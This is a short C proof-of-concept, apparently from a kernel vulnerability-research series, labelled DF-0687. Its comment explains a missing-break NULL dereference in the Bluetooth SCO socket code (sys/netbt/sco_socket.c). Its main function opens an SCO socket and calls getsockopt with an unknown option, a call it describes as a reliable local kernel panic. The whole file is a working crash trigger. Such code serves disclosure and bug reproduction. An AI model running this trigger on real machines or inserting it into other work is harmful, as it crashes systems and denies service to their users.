DF-0687 / trigger.c
/* * DF-0687 trigger: sco_socket.c PRCO_GETOPT missing-break NULL-deref panic. * * Mechanism (sys/netbt/sco_socket.c:109-121): * case PRCO_GETOPT: * m = m_get(M_WAITOK, MT_DATA); // :111 * m->m_len = sco_getopt(pcb, sopt_name, mtod(m, uint8_t *)); // :112 -> 0 * if (m->m_len == 0) { * m_freem(m); m = NULL; err = ENOPROTOOPT; // :113-117 NO break * } * sopt_from_kbuf(sopt, mtod(m, void *), m->m_len); // :120 mtod(NULL) => panic * * Trigger A (unknown option): getsockopt(fd, BTPROTO_SCO, 0xFFFF, ...) - * sco_getopt default returns 0. * Trigger B (unconnected socket, SO_SCO_HANDLE): sco_getopt returns 0 when * sp_link is NULL. * * 100% reliable local kernel panic when netbt.ko is loaded. No BT hardware. * Mechanically identical to DF-0680 (rfcomm) and DF-0682 (l2cap). * Maintainer-acknowledged leak in source comment :119 "XXX There are possible * memory leaks (Griffin)". */ #include <sys/types.h> #include <sys/socket.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <errno.h> #define AF_BLUETOOTH 33 #define BTPROTO_SCO 4 #define SO_SCO_HANDLE 2 int main(void) { int fd, rc; socklen_t len; char buf[64]; printf("[*] DF-0687: SCO PRCO_GETOPT missing-break panic trigger\n"); printf("[*] opening AF_BLUETOOTH/SOCK_SEQPACKET/BTPROTO_SCO socket\n"); fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_SCO); if (fd < 0) { printf("[!] socket() failed: %s (errno=%d)\n", strerror(errno), errno); if (errno == EPROTONOSUPPORT || errno == EPROTOTYPE || errno == EPFNOSUPPORT) printf("[!] netbt.ko not loaded? load with: kldload netbt.ko\n"); return 2; } printf("[+] socket fd=%d allocated\n", fd); printf("[*] getsockopt(fd, BTPROTO_SCO, 0xFFFF=unknown, ...) -> expect kernel panic\n"); fflush(stdout); len = sizeof(buf); memset(buf, 0, sizeof(buf)); rc = getsockopt(fd, BTPROTO_SCO, 0xFFFF, buf, &len); printf("[!] getsockopt returned %d (errno=%d %s) -- NO PANIC\n", rc, errno, strerror(errno)); close(fd); return 0; } |